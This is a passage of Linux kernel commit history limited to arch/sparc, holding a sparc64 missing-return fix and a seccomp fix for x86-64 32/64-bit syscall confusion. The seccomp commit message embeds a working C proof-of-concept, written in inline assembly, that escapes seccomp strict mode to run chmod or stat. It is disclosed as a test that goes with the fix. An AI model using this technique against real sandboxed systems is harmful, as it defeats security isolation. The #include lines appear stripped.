From 1b0e235cc9bfae4bc0f5cd0cba929206fb0f6a64 Mon Sep 17 00:00:00 2001 From: "David S. Miller" Date: Wed, 11 Feb 2009 00:54:07 -0800 Subject: sparc64: Fix crashes in jbusmc_print_dimm() Return was missing for the case where there is no dimm info match. Signed-off-by: David S. Miller --- arch/sparc/kernel/chmc.c | 1 + 1 file changed, 1 insertion(+) (limited to 'arch/sparc') diff --git a/arch/sparc/kernel/chmc.c b/arch/sparc/kernel/chmc.c index 3b9f4d6e14a9..e1a9598e2a4d 100644 --- a/arch/sparc/kernel/chmc.c +++ b/arch/sparc/kernel/chmc.c @@ -306,6 +306,7 @@ static int jbusmc_print_dimm(int syndrome_code, buf[1] = '?'; buf[2] = '?'; buf[3] = '\0'; + return 0; } p = dp->controller; prop = &p->layout; -- cgit v1.2.2 From 5b1017404aea6d2e552e991b3fd814d839e9cd67 Mon Sep 17 00:00:00 2001 From: Roland McGrath Date: Fri, 27 Feb 2009 23:25:54 -0800 Subject: x86-64: seccomp: fix 32/64 syscall hole On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include #include #include #include #include #include #include int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds --- arch/sparc/include/asm/compat.h | 5 +++++ arch/sparc/include/asm/seccomp.h | 6 ------ 2 files changed, 5 insertions(+), 6 deletions(-) (limited to 'arch/sparc') diff --git a/arch/sparc/include/asm/compat.h b/arch/sparc/include/asm/compat.h index f260b58f5ce9..0e706257918f 100644 --- a/arch/sparc/include/asm/compat.h +++ b/arch/sparc/include/asm/compat.h @@ -240,4 +240,9 @@ struct compat_shmid64_ds { unsigned int __unused2; }; +static inline int is_compat_task(void) +{ + return test_thread_flag(TIF_32BIT); +} + #endif /* _ASM_SPARC64_COMPAT_H */ diff --git a/arch/sparc/include/asm/seccomp.h b/arch/sparc/include/asm/seccomp.h index 7fcd9968192b..adca1bce41d4 100644 --- a/arch/sparc/include/asm/seccomp.h +++ b/arch/sparc/include/asm/seccomp.h @@ -1,11 +1,5 @@ #ifndef _ASM_SECCOMP_H -#include /* already defines TIF_32BIT */ - -#ifndef TIF_32BIT -#error "unexpected TIF_32BIT on sparc64" -#endif - #include #define __NR_seccomp_read __NR_read -- cgit v1.2.2